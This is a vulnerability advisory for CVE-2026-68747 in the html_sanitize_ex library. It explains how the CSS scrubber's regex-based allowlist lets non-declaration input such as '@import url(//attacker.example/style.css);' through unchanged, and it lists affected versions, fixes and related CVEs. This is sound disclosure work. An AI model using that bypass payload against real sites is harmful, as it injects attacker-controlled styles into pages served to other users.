CVE-2026-68747 CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
An attacker can inject malicious CSS at-rules, such as remote imports, bypassing the allowlist in the html_sanitize_ex library.
- Exploited in the wild
- Not known
- Login needed
- Not needed
- Attackable
- Over the internet
- Victim action needed
- A user has to click or open something
- Fix
- Available
What is CVE-2026-68747?
CVE-2026-68747 is a low-severity cross-site scripting vulnerability in rrrene html_sanitize_ex, published on 6 Aug 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.
Official description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.
Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.
This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Weakness: CWE-74
Which versions are affected by CVE-2026-68747?
1 open source package ship an affected version, including html_sanitize_ex. It affects 1 product.
| Package | Affected | Fixed in |
|---|---|---|
html_sanitize_ex Hex | From 0.3.1 | 1.4.5, 1.5.4 |
Products include Rrrene Htmlsanitizeex.
How do I fix CVE-2026-68747?
Upgrade html_sanitize_ex to a fixed version for your release line: 1.4.5 or 1.5.4.
Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.
Is CVE-2026-68747 being exploited?
There is no known exploitation of CVE-2026-68747 in the wild and no public exploit code.
Other vulnerabilities in rrrene html_sanitize_ex
- CVE-2026-68749 Quadratic regex backtracking in the html_sanitize_ex CSS scrubber allows CPU-exhaustion denial of service
- CVE-2026-68750 Quadratic sibling re-flattening in the html_sanitize_ex traversal engine allows CPU-exhaustion denial of service
- CVE-2026-66370 html_sanitize_ex HTML5 scrubber keeps attacker-supplied form-association attributes, allowing form hijacking
- CVE-2026-66829 html_sanitize_ex HTML5 scrubber keeps attacker-supplied meta refresh, allowing forced cross-origin redirection
- CVE-2026-66843 html_sanitize_ex HTML5 scrubber keeps attacker-supplied `<object>` elements, allowing untrusted content embedding
Sources
Also known as EEF-CVE-2026-68747, GHSA-87v2-pfhj-r5x7, GHSA-g72r-5wgp-6532.